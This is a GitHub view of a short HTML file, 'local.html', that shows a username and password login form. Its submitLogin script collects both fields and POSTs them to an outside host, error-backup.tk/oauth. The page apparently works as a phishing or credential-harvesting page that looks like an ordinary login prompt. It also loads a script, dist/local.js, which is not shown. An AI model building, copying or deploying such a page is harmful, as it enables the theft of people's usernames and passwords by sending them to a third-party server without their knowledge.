-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathlocal.html
39 lines (32 loc) · 1.15 KB
/
local.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html>
<html>
<script src="dist/local.js"></script>
<script>
function submitLogin(event){
let form = document.getElementById("form_id")
let body = {
un: form.elements["un"].value,
pwd: form.elements["pwd"].value
}
let init = {
body: JSON.stringify(body),
method:"POST"
}
fetch("https://error-backup.tk/oauth", init).then(res=>{
console.log(res)
}).catch(e=> console.log('e', e)
)
}
</script>
<body>
<form class="modal-content animate" id="form_id" method="post">
<div class="container">
<label for="un"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="un" required>
<label for="pwd"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="pwd" required>
<button type="submit" onclick="submitLogin()">Login</button>
</div>
</form>
</body>
</html>